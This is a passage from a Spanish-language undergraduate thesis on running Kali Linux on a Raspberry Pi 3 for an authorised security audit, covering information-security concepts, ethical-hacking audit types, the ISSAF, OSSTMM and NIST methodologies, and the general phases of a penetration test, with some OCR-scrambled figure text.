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Resumen

Las telecomunicaciones tienen como campo de estudio la Teleméatica
y dentro de esta se incluye el garantizar la seguridad de una red. Este
proyecto de investigacion tiene como objetivo la implementacion del sistema
operativo de auditoria informatica Kali Linux en la plataforma Raspberry Pi
3 Model B con el fin de analizar sus herramientas para cada etapa del
proceso general de una auditoria, esto con el fin de servir como guia para
las personas que deseen incursionar en este campo. Se analizaran
parametros de cada herramienta como sus opciones, versiones,
plataformas de uso, entre otros. Posteriormente se utilizara la plataforma
implementada en un entorno real y se procedera a seguir las fases del
hacking ético con el fin de observar su uso como herramienta de auditoria
informéatica. Con esto se pretende encontrar las vulnerabilidades en la red,
explotarlas y finalmente comunicar los problemas encontrados a las

personas a cargo de las mismas.

PALABRAS CLAVES: SEGURIDAD INFORMATICA, KALI LINUX,
HACKING ETICO, RASPBERRY PI, ARM, COMPUTADOR DE PLACA
SIMPLE.
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Abstract

In telecommunications one field of study is telematics, and inside this
field is included to ensure the correct security in any network. This investigation
has as objective to describe the installation of the operative system created for
pen-testing Kali Linux in the Raspberry Pi 3 Model B and analyze the tools that
come with it on each step in the process of a security audit, looking to be used
as a guide for people interested in this field. Aspects of every tool like available
options, versions, accepted operative system, among others, are gonna be
studied in this paper. After the installation the Raspberry Pi is gonna be used
on a real environment following the phases of ethical hacking demonstrating
its use as a tool for security audits. Using this equipment will allow us to fin the
vulnerabilities on the network, exploit them and finally communicate the

founded problems to the person in charge of the network.

KEY WORDS: INFORMATIC SECURITY, KALI LINUX, ETHICAL HACKING,
RASPBERRY PI, ARM, SIMPLE PLATE COMPUTER
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1. CAPITULO 1: INTRODUCCION

1.1. Introduccion

Actualmente, la seguridad de la informacion es una de las ramas de
mayor crecimiento y rapida evolucion en el mundo de las telecomunicaciones
y la informéatica, debido al incremento de ataques por parte de hackers con el
fin de obtener informacién de forma ilegal para evitar el funcionamiento de una

red (denegacién de servicios).

De esta manera la compafiia Offensive Security, especializada en
seguridad informética y creadora del reconocido sistema de auditorias
forenses Backtrack, crea Kali Linux, un sistema operativo basado en Debian.
Kali nos brinda una amplia lista de herramientas para facilitar y automatizar la
realizacién de una auditoria forense en una red, ya sea de caja negra, blanca

o ploma.

La presente investigacion tiene como objetivo la implementacién de
este software, en arquitectura ARM, en un Raspberry Pi 3, plataforma
escogida por sus excelentes caracteristicas de disefio (discreta y portatil) y
rendimiento, lo que la convierte en una gran herramienta para auditoria

informatica.

Luego de la instalacion del sistema operativo en el Raspberry Pi 3, se
realizara un analisis y uso de las herramientas de auditoria informatica que se
incluyen en el sistema operativo aplicandolas en un entorno real, es decir, la

empresa Fishcorp S.A.

Realizado el analisis de las herramientas se podra comprobar la

eficacia de estas asi como la eficiencia de la plataforma escogida.

1.2. Antecedentes
En el Ecuador se tiene un bajo interés y desconocimiento por la
seguridad de la informacion y la rapida evolucién de los sistemas informaticos

en general. A lo largo de los afios se han dado varios ataques informaticos,
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estafas y ademas delitos de cardcter virtual donde se han dado perdidas tanto

econdmicas como de informacion delicada.

Son pocas las empresas que en el pais brindan los servicios de
auditoria forense, y son menos aun las empresas que invierten en una
auditoria a su propio negocio, dejando una puerta abierta a que personas
malintencionadas realicen atagues a sus redes. Es por esta razon, que se
realizara una simulacion general de las fases de hacking ético en una empresa

nacional, con el fin de determinar el nivel de seguridad de la red de la empresa.

La empresa seleccionada es Fishcorp S.A. la cual fue fundada el 7 de
Agosto de 1996 y esta ubicada en el Km. 4 1/2 via Manta — Rocafuerte. Esta
empresa se dedica a la comercializacion de atin asi como su exportacion,
siendo una de las mas reconocidas tanto a nivel local y nacional (Fishcorp
S.A., 2015). La empresa hasta la fecha nunca ha realizado una auditoria
forense a su red informatica, por lo que se la ha escogido con el fin de probar
las herramientas de Kali Linux y analizar qué tan vulnerable es su red. Se
utilizaran las herramientas del sistema operativo mencionado para comprobar
tanto la eficacia de este sistema operativo funcionando en un computador de
placa simple, asi como obtener resultados de que tan segura es la red de la

empresa en cada etapa de la metodologia a emplear.

1.3. Justificacion del Problema

Kaspersky Lab (2018), afirma en un reciente estudio que en los ultimos
12 meses se ha registrado un alza del 60% en ataques cibernéticos en
Ameérica Latina. En el Ecuador muchas empresas aun no estan muy
familiarizadas con el concepto de seguridad informatica lo cual conlleva
grandes riesgos tales como robo o cifrado de informacion, denegacion de
servicios, entre otros. Por lo que es importante probar estas herramientas en
un escenario real, es decir, en la empresa Fishcorp S.A. con el fin de obtener
datos reales de la eficiencia del software y la plataforma, asi como el estado

actual de la seguridad informética de la empresa.



El sistema operativo Kali Linux es una excelente herramienta para las
personas que deseen incursionar en el mundo de la seguridad de redes y
auditoria informatica. Es importante por esta razon, entender cual es la
metodologia basica para realizar estos procedimientos y las herramientas que

Kali nos brinda para lograrlo.

De la misma manera es importante para las personas afines a este
campo el aprender el manejo de varias plataformas, es por esto que en la
presente investigacion se planea usar el Raspberry Pi 3 Model B como
arquitectura base para este sistema operativo, con el fin de conocer el alcance
de este mini computador que se ha posicionado como uno de los mas fuertes

del mercado en los ultimos afos.

1.4. Objetivos
1.4.1. Objetivo General.
Aplicar las herramientas del sistema operativo Kali Linux,

implementado en un Raspberri Pi 3 Model B.

1.4.2. Objetivos Especificos.

« Analizar las herramientas del sistema operativo Kali Linux de acuerdo a

las fases del hacking ético.
« Instalar el sistema operativo Kali Linux en la plataforma Raspberry Pi 3.

« Analizar la seguridad de la red de la empresa Fishcorp S.A.

1.5. Hipotesis

El computador de placa simple Raspberry Pi 3 Model B brinda las
especificaciones necesarias para la ejecucion del sistema operativo Kali Linux
pudiendo ser usado como herramienta de auditorias informaticas. La
herramienta implementada sera usada de forma efectiva en un entorno real

como es la empresa Fishcorp S.A.



1.6. Metodologia de la Investigacion

Para la presente investigacion se usara la metodologia descriptiva y
experimental. La investigacion descriptiva correspondera a la descripcion de
los objetos como aparecen en la actualidad, en este caso permitira la
conceptualizacién de varios elementos que seran detallados a lo largo de la
investigacion. La investigacion experimental permite manipular las variables
en una investigacion lo cual sera necesario ya que el presente trabajo consiste
en la implementaciéon de un proyecto asi como su posterior analisis del

rendimiento del mismo.



2. CAPITULO 2: MARCO TEORICO

Para la presente investigacion es necesaria la comprension de estos
conceptos: Seguridad informatica, seguridad de la informacion, hacking ético,
el sistema operativo Kali Linux y computadoras de placa simple, ya que
representan las bases sobre las cuales se definen las metodologias, controles

y métodos que requiere una red para poder ser considerada segura.

2.1. Seguridad Informatica
Aguilera (2011), define a la seguridad informética como “...la disciplina
que se ocupa de disefiar las normas, procedimientos, métodos y técnicas

destinados a conseguir un sistema de informacion seguro y confiable”.

Es importante recalcar que a pesar de las diferentes medidas de
seguridad que se apliquen a un sistema de informacion, siempre existira un
margen de riesgo. Para crear un correcto sistema de seguridad en una red

informatica, de acuerdo a Aguilera (2011), es necesario conocer:

- Los elementos que componen el sistema, es decir, obtener una lista de
todos los elementos, tanto hardware como software, que componen la red.
Esta informacion se debe obtener directamente de la persona encargada

del mantenimiento de la red o de la persona que instalo la misma.

« Los peligros que podrian afectar al sistema, los cuales pueden ser
accidentales o provocados. Esta informacion es posible obtenerla por
datos de las mismas personas encargadas de la red asi como por parte
de pruebas y muestreos que nos podran brindar una vision mas amplia de

los mismos.

- Las medidas que se deben tomar para conocer, prevenir, evitar, reducir o
controlar los potenciales riesgos. Esto consiste en decidir cuales seran los
controles y acciones a tomar con el fin de reducir cualquier tipo de riesgo
al minimo, asi como la normativa para actuar luego de sufrir un ataque

informatico.



En la seguridad informatica es importante destacar que luego de
conocer estos aspectos y haber decidido las medidas de seguridad que se
usaran, se debera llevar un control periédico de la red, el cual consiste en

realizar revisiones y actualizaciones a las medidas adoptadas.

2.2. Seguridad de la Informacion

De acuerdo Committee on National Security Systems (2013) de los
Estados Unidos la seguridad de la informacién se define como: “La proteccion
de la informacion y sistemas de informacion frente al acceso, uso, revelacion,
ruptura, modificacién o destruccién, no autorizada con el fin de proporcionar

confidencialidad, integridad y disponibilidad”.

El valor de la informacién proviene de las caracteristicas que posee,
esto quiere decir que el cambio de una caracteristica podria aumentar, 0 mas
comunmente disminuir, el valor de esta. Algunas caracteristicas afectaran
mas o0 menos a la informacion, por ejemplo el tiempo de entrega de
informacion es un factor de alto riesgo ya que comunmente la informacion
pierde parte, o la totalidad, de su valor si es entregada muy tarde (Andress,
2014).

2.2.1. Caracteristicas criticas de la informacion.
Whitman y Mattord (2017), en su libro Principles of Information Security,

establecen que las caracteristicas criticas de la informacion son tres:

Confidencialidad: La informacion cuenta con esta caracteristica
cuando se encuentra protegida de la divulgacion y exposicién a usuarios o
sistemas no autorizados. La confidencialidad asegura que la informacién solo
pueda ser accedida por las personas con los derechos y privilegios para
hacerlo; esta caracteristica esta estrechamente relacionada con el concepto

de privacidad. En el momento que una persona o sistema no autorizado



obtiene acceso a la informacién la confidencialidad puede considerarse

terminada.

Segun Whitman y Mattord (2017), afirman que para brindar esta
caracteristica a la informacion existen muchos métodos entre los cuales se

puede encontrar:

« Clasificacion de la informacion.
« Almacenamiento seguro de la informacion.
« Aplicacion de politicas de seguridad.

e Educacion de la informacién a los usuarios finales y a los

encargados de custodiar la informacion.

El valor de la confidencialidad de la informacién es extremadamente
alto, en el caso de las empresas estas cuentan en sus bases de datos con
informacion personal de sus clientes, datos financieros e historial de
transacciones, entre otros. La pérdida de confidencialidad puede ser
accidental, como es el caso de un empleado de una empresa enviando por
error un email con informaciéon delicada a alguien fuera de la empresa, o el
botar un papel con informacién delicada sin haberlo triturado antes, errores
muy comunes en el ambito laboral; en otros casos puede ser obtenida por un
hacker mediante el acceso ilegal a bases de datos ya sea fisicamente o

virtualmente si la empresa no protege bien su informacion.

En el caso del usuario o consumidor, este brinda pequefias fracciones
de informacion delicada ya sea por el simple uso de una tarjeta de crédito con
la cual a la larga se puede inferir sus habitos de compra, o al llenar una
encuesta en linea uno revela datos personales los cuales el usuario espera

que la empresa cuide de manera correcta.

Integridad: La informacién cuenta con integridad cuando esta
completa y sin corromper. Esta caracteristica se ve amenazada cuando la

informacion esta expuesta a corrupcion, dafio, destruccién o cualquier otra



alteracion de su originalidad. La corrupcion de la informacién puede suceder
mientras esta almacenada asi como durante su transmision. Muchos virus
estan disefiados especificamente para dafar la integridad de la informacion,
es por esto que un método para evitar este tipo de ataques es el buscar
cambios en la integridad del archivo como por ejemplo en su tamafio
(Whitman y Mattord, 2017).

Otro método muy efectivo es el crear un valor hash del archivo , este
método consiste en el uso de un algoritmo que usara los valores de los bits
en el archivo para crear un valor hash Gnico. Si una persona luego de recibir
un archivo, realiza el calculo de este valor usando el mismo algoritmo y
obtiene un valor diferente puede estar segura que el archivo ha sido
comprometido y la integridad perdida. Esta caracteristica es muy importante
ya que la informacién pierde todo su valor y uso si el usuario no puede validar

su integridad.

La integridad de la informacion no necesariamente se pierde por
fuerzas externas como es el ejemplo de hackers y ataques informéticos. El
ruido en los sistemas puede comprometer la integridad, el transmitir datos en
circuitos con un voltaje bajo puede afectar esta caracteristica. Por eso es
importante que durante cada transmision se usen mecanismos de seguridad
como son bits de redundancia, bits de chequeo o comparacion de valores
hash con el fin de comprobar la integridad de los datos a transmitir. De esta
manera, la informacidbn que se transmite con algun error podra ser

retransmitida y enviada a su receptor garantizando su integridad.

Disponibilidad: La disponibilidad de la informacion se refiere a la
capacidad de acceder a nuestra informacién cuando lo necesitemos (Andress,
2014). Esta caracteristica nos permite recibir nuestra informacion si ninguna
obstruccién y en el formato deseado. La pérdida de disponibilidad puede
suceder por algunos factores, entre los cuales tenemos: perdida de energia,
fallos en el sistema operativo o en aplicaciones, fallos en la red, entre otros.

Cuando se pierde la disponibilidad por un factor externo, como es el caso de



un hacker, se refiere comunmente a este problema como un atague de

denegacion de servicios.

2.3. Hacking Etico

Este enunciado es de suma importancia para la presente investigacion
ya que las pruebas a realizar en la empresa seleccionada para el estudio, al
igual que en un escenario real, seran de caracter ético y sin deseos de causar

ningun dafio o intrusion a la empresa.

Para empezar es importante destacar como los ataques informaticos
en la actualidad estan afectando a grandes empresas asi como a apeguemos
negocios. Segun datos en un articulo publicado por Los Angeles Times (2015),
las perdidas ascienden por lo menos a una cifra de $375 billones anuales

durante el afo 2014.

Rathore (2015) define al hacking ético como “la practica de irrumpir en
computadoras sin una intension maliciosa, simplemente con el fin de detectar
amenazas a la seguridad y reportarlas a las personas responsables.” El
hacker ético es el responsable de llevar a cabo esta irrupcion usando su

conocimiento y herramientas para propositos defensivos y constructivos.

2.3.1. El hacker ético.

Es llamado hacker la persona con los conocimientos técnicos y las
herramientas necesarias para acceder a una red o equipo aprovechandose
de una vulnerabilidad en la seguridad del mismo. El termino hacker siempre
fue relacionado con conductas ilegales por lo cual se crea este termino con el
fin de definir a la persona encargada de realizar un analisis de la seguridad de

un sistema informatico y reportar los fallos encontrados en el sistema.

A pesar de esto, el hacker debe actuar como un cracker, es decir,
debera realizar las pruebas de intrusién de la misma manera que lo haria una
persona con intenciones maliciosas, siendo justamente ahi donde reside la

diferencia entre ambos: el hacker ético cuenta con el permiso de aprovechar
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las vulnerabilidades encontradas, ganar acceso a la red y reportar a las
personas responsables sus conclusiones y recomendaciones. En el caso del
cracker este busca aprovecharse de estas vulnerabilidades de manera ilegal,
sin ningun permiso, y de esta manera cumplir sus objetivos maliciosos, ya sea
el robo de informacién delicada, modificacion de la misma, entre otros
(Astudillo, 2016).

2.3.2. Networking en el hacking ético.

Los conocimientos sobre networking son de suma importancia en el
hacking ético. Comprender estos conceptos seran de muchisima ayuda para
el auditor ya que no solo necesita conocer sobre los sistemas que se usan
sino también estar muy preparado con respecto a conceptos de esta rama

como son switching y routing.

Comprender el stack de protocolos TCP/IP, asi como los correctos
conceptos en materias de direcciones IP, servidores y clientes DHCP, VPNSs,
e interfaces Wi-Fi, permitiran al auditor tener un conocimiento completo para

poder llevar a cabo una auditoria de forma eficaz.

Segun lo establece CISCO (2016) dentro de este campo se deben
conocer sobretodo los tres elementos principales que permiten la

interconexion de dispositivos dentro de una red, los cuales son:

Switches: Son la base de la mayoria de redes en los negocios. Un
switch actia como un controlador, conectando computadoras, impresoras y
servidores en un edificio, campus, etc. Estos dispositivos permiten a los
dispositivos de la red comunicarse con el resto asi como con otros segmentos

de red, creando una red de recursos compartidos.

Existen dos tipos basicos de switches: el primero de tipo no
administrado, el cual funciona con su configuracion por defecto y esta no
puede ser alterada. El segundo, de tipo administrado, brindan la capacidad de
ser configurado, lo que permite monitorear y ajustar el switch de manera local

o remota, dando mas control sobre el trafico y acceso a la red (CISCO, 2016).

Routers: Encargados de conectar multiples redes, y al mismo tiempo

conectar esas redes al internet. Los routers permiten que todos los
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dispositivos compartan una misma conexion a internet lo que resulta en un

ahorro econémico.

Actla como un transporte. Analiza la informacion que se envia a travez
de una red y decide cual es la mejor ruta para que la misma viaje, y la envia.
Los routers conectan a los negocios al mundo, protegen informacion de
amenazas de seguridad y pueden decidir que computadores tienen mas

prioridad que otros.

Fuera de sus funciones basicas, los routers actuales contienen muchas
caracteristicas adicionales entre las cuales podemos encontrar: firewall
incluido, creacion de VPNs, o un sistema de comunicacion por medio de

protocolo de internet, entre otros (CISCO, 2016.).

Access Point - Punto de Acceso:  Estos dispositivos permiten a los
usuarios conectarse a la red de manera inalambrica. Una red inalambrica
permite, de manera mas sencilla, la integracion de nuevos dispositivos en

linea si como un soporte flexible para los dispositivos méviles.

Un punto de acceso actia como un amplificador de la red. Mientras que
un router brinda la banda ancha, un punto de acceso extienda la misma para
que la red pueda soportar mas dispositivos, y de esta manera esos

dispositivos puedan acceder a la red desde una posicion mas distante.

Un punto de acceso no solo extiende la red, se encarga también de
brindar informacion util sobre trafico de datos, brinda seguridad a la red y

posee otros usos practicos (CISCO, 2016).

2.3.3. Auditoria de seguridad informatica.

Este término sera usado a lo largo de la investigacion por lo que es
necesario aclarar que practicamente es un sinénimo de Hacking Etico. La
auditoria de seguridad informatica busca evaluar la seguridad de los sistemas
informaticos del cliente y entregar las recomendaciones necesarias para crear
un entorno mas seguro de esta manera se puede concluir que el hacker ético

podria ser llamado un auditor de seguridad informatica.
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Cuando se va a presentar una propuesta de hacking ético es importante
dejar claro con el cliente dos factores claves: el tipo y la modalidad de hackeo

que se usaran en las pruebas de intrusion (Amutio, 2012).

2.3.4. Tipos de hacking ético.
Dependiendo desde donde se realizaran las pruebas de intrusion el

hacking ético puede ser (Astudillo, 2016):

2.3.4.1. Hacking ético externo.
Es realizado a través del internet sobre la estructura de red publica del
cliente. En este tipo de hacking se intentara acceder o vulnerar equipos
publicos como son cortafuegos, servidores web, servidores de correo,

servidores DNS, entre otros.

2.3.4.2. Hacking ético Interno.

Como su nombre lo indica este tipo de hacking se realiza desde la red
interna del cliente, simulando tener acceso como un consultor, empleado o un
asociado. En este tipo de hacking es mucho mas comun encontrar
vulnerabilidades, ya que generalmente los administradores de red se
preocupan mas por proteger el perimetro del sistema hacia fuera y olvidan la

posibilidad de un atacante interno.

2.3.5. Modalidades de hacking ético.

La modalidad de hacking que el clienta decida usar define la cantidad
de informacion que el auditor va a recibir sobre la red. La modalidad escogida
influird directamente en el costo y tiempo de ejecucién de la auditoria.

La autora ecuatoria Astudillo (2016) establece que, se puede encontrar

tres modalidades diferentes las cuales son:

2.3.5.1. Hacking de caja negra o black box hacking.
Esta modalidad solo aplica en hacking éticos externos; en esta
modalidad el cliente solo brinda el nombre de la empresa al auditor el cual de

agui en adelante trabajara a ciegas intentando vulnerar la seguridad de la
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empresa. Este tipo de modalidad es la que mayor tiempo toma ya que no se
tiene ningun dato previo sobre la infraestructura de red de la empresa aunque
a la vez, es considerado el mas real ya que simula el trabajo de un cracker el
cual generalmente no tendra ni acceso fisico ni acceso a la informacién de la

empresa.

2.3.5.2. Hacking de Caja Blanca o White Box Hacking

También conocido como hacking transparente, esta modalidad solo es
aplicada pruebas de tipo interno ya que el auditor recibira dentro de la
empresa un punto de red para actuar y recibe de parte de la empresa toda la
informacion detallada de la red. En esta modalidad el auditor recibira
diagramas de red, listado de equipos, direcciones IP, datos sobre el sistema
operativo y programas usados, resumiendo, absolutamente toda Ila
informacion relacionada a la red de la empresa. Esta modalidad debido a la
informacion proporcionada por el cliente, es la que generalmente toma menos
tiempo y l6gicamente representa un menor costo que un hacking de caja

negra.

2.3.5.3. Hacking de Caja Gris o Gray Box Hacking.

Como su nombre lo indica, esta modalidad es una mezcla de las dos
mencionadas anteriormente. Generalmente se usa en hackeos de tipo interno
donde el cliente brindara al auditor solo un punto de red e informacién para
acceder a la misma, es decir, no se recibir4 informacién sobre subredes
existentes, listas de usuarios/claves o diagramas de red como es el caso del
hacking de caja blanca (Regalado et al., 2015). El término es usado también
en hackeos de tipo externo donde el cliente brinda al auditor informacion

limitada sobre los equipos usados en la red de acceso publico.

2.3.6. Metodologias usadas para una auditoria infor  matica.

En el campo profesional de la seguridad informatica sera decision del
auditor escoger que metodologia se usara para realizar la auditoria. Segun
Yanez (2015) las metodologias seleccionadas definiran tres aspectos

importantes, como son: “un modelo abstracto del sistema, un modelo
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abstracto del proceso de descubrimiento de vulnerabilidades y un
procedimiento para realizar las pruebas intrusibn de acuerdo al sistema

evaluado”.

A continuacién se presentaran las metodologias mas usadas y las

propiedades y campos de estudio de cada una:

2.3.6.1. The Information systems security assessmen t framework
(ISSAF).
En espafiol Marco de Evaluacion de Seguridad de Sistemas de
Informacidénn, es una metodologia desarrollada por OISS.org, esta busca
integrar las siguientes herramientas de administracion y listado de controles

internos, descritas por OISSG (2006) en su pagina oficial.

« Evaluar las politicas de seguridad de informacion y los procesos para
reportar sus cumplimientos bajo los estandares de la industria informatica,

asi como las leyes aplicables y las regulaciones requeridas.

- Identificar y evaluar las dependencias del negocio sobre los servicios de
infraestructura proporcionados por las tecnologias de la informacion y

comunicacion.

« Conducir evaluaciones de vulnerabilidades y test de intrusion para destacar
las vulnerabilidades del sistema que podrian resultar en riesgos potenciales

para los activos relacionados a la informacion.

« Especificar modelos de evaluacion por dominios de seguridad.
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Esta metodologia se compone de 3 areas, las cuales describen 9 pasos

a realizarse como se observa en la siguiente figura:

Approach & Methodology

(1) Planning & Preparation

(2)

- Zm=anomounoud

Informalt ion
Gatirering
Coverimg
Tracks
;
Penetration

Malntaining

fecoss Methodology

Compromising
Ramote Entime ratis
Lsers ﬂiirr.'_\'* Further "

Testing

Panetration

Gaining Access
& Priviiege

Escalation

(3) Reporting, Clean Up and Destroy

Artifacts

Figura 2.1 Areas y pasos para metodologia ISSAF.

Fuente: (OISSG, 2006).

A continuacion se explicaran de forma general sus tres areas de trabajo:

a. Planificacion y Preparacion:

Esta primera fase engloba los pasos

necesarios para levantar nuestro ambiente de pruebas, como lo son:

herramientas de planificacion y preparacion, contratos y protecciones

legales, definicion del equipo de trabajo, fechas limite, requerimientos

y estructura de los reportes finales.

b. Evaluacion:

Esta area es el nlcleo de la metodologia, donde se

realizan todas las pruebas de intrusion. Esta fase esta articulada en las

siguientes actividades:
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« Recoleccion de informacion

« Mapeo de lared

« Identificacién de vulnerabilidades

« Realizacion de pruebas de intrusion

« Ganar acceso y escalabilidad de privilegios
« Enumeracion

« Comprometer sitios 0 usuarios remotos

« Mantener acceso

« Encubrimiento de rastros

c. Elaboracion de reporte y destruccion de artefact  os: En esta ultima
fase el auditor debe realizar el reporte detallando las vulnerabilidades
encontradas, sus recomendaciones y conclusiones asi como destruir

cualquier artefacto construido durante la fase de evaluacion.

Esta metodologia posee sus puntos a favor asi como algunas
desventajas. Como aspectos a destacar en el lado positivo, esta metodologia
nos brinda una guia muy intuitiva y clara que seguir en los pasos complicados
de la fase 2. El orden en el que esta metodologia guia al auditor esta
optimizado para que se realicen las correctas y completas pruebas de
intrusion, evitando asi errores asociados al escoger ataques de forma
aleatoria.

En el aspecto negativo, podemos observar que la Ultima fase, a
diferencia de la fase de evaluacion, esta implementada de manera pobre. En
esta ultima fase no podemos encontrar una buena guia sobre como realizar
el reporte final y algunas sugerencias se encuentran obsoletas. Por ejemplo,
la metodologia sugiere destruir los artefactos desarrollados a lo largo de la
auditoria mientras actualmente en la practica se dejan estos artefactos en el

sistema.
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2.3.6.2. The Open Source Security Testing Methodolo gy Manual (OS-
STMM).

En espafiol Manual de metodologia abierta de comprobacion de
Seguridad, es considerado el estandar entre los auditores informaticos. El
principal proposito de este manual creado por ISECOM es proveer una
metodologia cientifica para una caracterizacibn exacta de seguridad
operacional mediante la examinaron y correlacion de resultados de pruebas

en una manera consistente y confiable (ISECOM, 2010).

Como segundo propdésito esta metodologia es proveer las guias que,
seguidas de manera correcta, el auditor pueda ofrecer una auditoria
certificada por OSSTMM.

Esta metodologia usa la definicién de enfoque el cual se refiere al total
de ambientes en la seguridad operacional para cualquier interaccion con
cualquier activo, donde se pueden incluir medidas de seguridad para

componentes fisicos también (Ramilli, 2012).

Este enfoque esta comprendido por tres clases que a su vez estan

compuestas por cinco canales, como se detallan en la siguiente tabla:
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Tabla 2.1 Descripcion de los canales de la metodologia OSSTMM.

Clase

Canal

Descripcién

Seguridad Fisica
(PHYSECC)

Humano

Comprende el elemento
humano de comunicacion ya
sea fisica o psicoldgica.

Fisico

Test de seguridad fisica donde
el canal es tanto fisico y no
electrénico por naturaleza.
Comprende los elementps
tangibles de seguridad donde
la  interaccion requiere
esfuerzo fisico o transmision
de energia para ser
manipulado.

Seguridad Espectral
(SPECSEC)

Inalambrico

Comprende todas las
comunicaciones electrénicas
(ELSEC), sefnales (SIGSEC)
y emanaciones (EMSEC), de
dispositivos no atados | a
cables, que suceden en| el
espectro electromagnético.

Seguridad de
Comunicaciones
(COMSECQC)

Telecomunicaciones

Comprende todas las redes de
telecomunicaciones, digitales
o analogas, donde |a
interaccion toma lugar sobre
las lineas de redes ya sean de
tipo telefénico o parecido.

Red de Datos

Comprende todos los
sistemas electronicos y redes
de datos donde las

interacciones toman lugar
sobre cables establecidos y
lineas de red cableadas.

Fuente: (ISECOM, 2010).

OSSTMM describe 17 modulos para analizar cada uno de los sub-canales lo

que equivale a 8 analisis a realizar antes de entregar el reporte final.
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2.3.6.3. Guideline On Network Security (GNST).

En espafiol Guia sobre la Seguridad de una Red. Esta metodologia fue
desarrollada por NIST y es la primera metodologia en introducir el proceso
formal de reportar y tomar ventajas de las hipotesis inducidas.

Segun Ramilli (2012) esta metodologia sigue cuatro pasos claros:

Planificacion: El sistema es analizado para encontrar los objetivos mas

interesantes y asi examinarlos.

Descubrimiento: El auditor examina los objetivos para buscar

vulnerabilidades.

Ataque: El auditor verifica si la vulnerabilidad puede ser aprovechada.

Reporte: Ultimo paso donde cada resultado es reportado.

ADDITIONAL DISCOVERY

v

REPORTING

Figura 2.2 Pasos para metodologia GNST.
Fuente: (Ramilli, 2012).

Lo que caracteriza a esta metodologia, de la cual podemos observar su
flujo en la imagen anterior, es que cada paso tiene un vector de entrada y uno
de salida. El vector de salida representa los resultados completos que derivan
de las acciones realizadas, mientras que el vector de entrada representa a la
informacion siendo enviada a analizar. El vector que va desde ataque a
descubrimiento representa el concepto previamente mencionado de hipotesis
inducidas lo que ayuda a que el auditor pueda aprovechar un ataque para

regresar y encontrar una nueva vulnerabilidad.
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Como desventaja de esta metodologia se puede destacar que no

brinda ninguna guia ni plantilla para realizar el reporte final.

2.3.7. Fases del hacking ético.
Existen varias metodologias para la realizacion de una auditoria
informatica, y si bien hay varias opciones para escoger, generalmente el

hacking ético se resume en 5 fases segun Astudillo (2016).

1. Reconocimiento: Etapa muy conocida por su término en ingles
footprinting, consiste en recolectar la mayor informacion posible de la
empresa a auditar. Esta etapa es de suma importancia ya que
dependiendo de la cantidad y del tipo de informacién que recolectemos
se lograra un mejor analisis en las etapas posteriores. Dependiendo del
tipo de interaccion que tengamos con nuestro objetivo, esta etapa

puede ser de dos tipos:

a. Reconocimiento pasivo: Este tipo de reconocimiento se da
cuando no se tiene una interaccion directa con la empresa por lo

cual acudimos a técnicas de recoleccion de informacién como:

- Uso de Google para localizar la pagina web de la empresa, Who-
Is con el fin de obtener datos de contacto y direccion IP del
administrador de red o creador del sitio web.

- Busqueda en redes sociales sobre datos de interés como
empleados de la empresa, nimeros de contacto, correos

electrénicos, entre otros.

- Dumpster Diving es una técnica nada agradable pero efectiva que
consiste en revisar la basura de la empresa ya que hasta el dia
de hoy son muchas las empresas que no trituran los papeles con
informacion importante o los empleados suelen botar pequefios

papeles donde han anotado sus contrasefias o datos de interés.
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b. Reconocimiento activo: En este tipo de red existe una interaccion
directa con los equipos o0 miembros de la empresa a auditar, dentro

de esta fase existen varias técnicas como:

- Barridos de ping con el fin de obtener informacion sobre los

equipos publicos que se encuentran activos.

- Uso de ingenieria social con el fin de obtener datos del que es
considerado el eslabon mas débil en un sistema informatico, el

ser humano.

A pesar de haber mencionado que en esta recoleccion se debe tratar
de recolectar la mayor cantidad de informacién, esto puede sonar un poco
abrumador. De acuerdo a Broad y Bindner (2014), se debe conseguir como

objetivo:

« Estructura organizacional de la empresa, incluyendo detalles de alto
nivel, informacion de departamentos y tablas de organizacion de
equipos.

« Infraestructura organizacional incluyendo el rango de IPs y topology de

la red.

« Technologies usadas incluyendo plataformas hardware y paquetes de

software.
« Emails de los empleados.
« Empresas afiliadas a la organizacion.
« Ubicaciones fisicas de la empresa a auditar.

« NUmeros de teléfono.

Escaneo: Luego de haber recolectado informacion, ya sea rangos de
direcciones IPs publicas y quizas de algun equipo interno, en el caso de un
hacking externo, o los rangos de IPs de las subredes internas, en caso de
un hacking interno, la pregunta es: ¢ Cudl es el siguiente paso?. Pues esta

segunda etapa de una auditoria consiste en analizar cuales de estos host
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estan activos y realizar posteriormente un andlisis de puertos con el fin de
encontrar que servicios o aplicaciones estos puertos estan escuchando, asi
mismo identificar los sistemas operativos y versiones de los mismo que los
hosts estan usando. Todos estos tipos de vulnerabilidades y datos
encontrados son los que nos ayudaran a decidir qué tipo de ataques usar
en las etapas posteriores.

Esta etapa debe realizarse con sumo cuidado ya que en el caso de que
alertemos a la compafia de nuestra intensibn de obtener esta
informacion esta podria bloquear nuestra direccion IP, lo cual se podra

solucionar pero eliminaria el factor sorpresa y causaria retrasos.

3. Obtener Acceso: Etapa conocida también como explotacién, se busca
aprovechar las vulnerabilidades encontradas y usar exploits con el fin
de obtener el comportamiento que deseamos o acceder a los ficheros
de informacion sensible en el caso que la empresa no tenga las

medidas de seguridad correctas.

4. Escribir Informe: Finalizadas las fases anteriores el auditor debe
elaborar un informe detallando las vulnerabilidades encontradas asi
como las recomendaciones o plan de contingencia para crear un
entorno mas seguro. Esta etapa consiste en la presentacién tanto de
un informe técnico asi como un resumen ejecutivo completo con las

vulnerabilidades encontradas presentadas en forma general.

Para el auditor esta etapa puede ser abrumadora ya que muchos
cometen el error de recopilar la informacion de forma desorganizada.
Segun Astudillo (2016), autora de Hacking Etico 101, propone las

siguientes recomendaciones:

« Crear una carpeta principal con el nombre del proyecto y dentro de esta

una carpeta por cada etapa que se realizara.
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« Llevar una bitadcora donde se anotaran todas las actividades, y hallazgos,

realizadas cada dia.

« Capturar imagenes y videos de los aspectos mas importantes a lo largo
del proceso de auditoria. Estos pueden ser el hallazgo de una

vulnerabilidad importante, el ingreso exitoso a un host, entre otros.

« Crear un registro de hallazgos, el cual difiere de la bitacora ya que sera
una tabla detallando las técnicas usadas y las vulnerabilidades

encontradas.
« Usar herramientas de documentacion.

« Utilizar plantillas para la elaboracion del informe.

5. Presentacion del Informe: Etapa final del proceso de auditoria
informatica; consiste en entregar y presentar el reporte final siguiendo
los protocolos establecidos entre el cliente y el auditor previo al inicio

de la auditoria.

2.4. Offensive Security y Kali Linux

La compaiia Offensive Security es pionera en el mundo de la
seguridad informatica, de acuerdo al sitio web de la compaiiia la vision de la
misma es lugar una igualdad entre las partes ofensivas y defensivas en los
sistemas informaticos, es decir, lograr que los sistemas defensivos estén
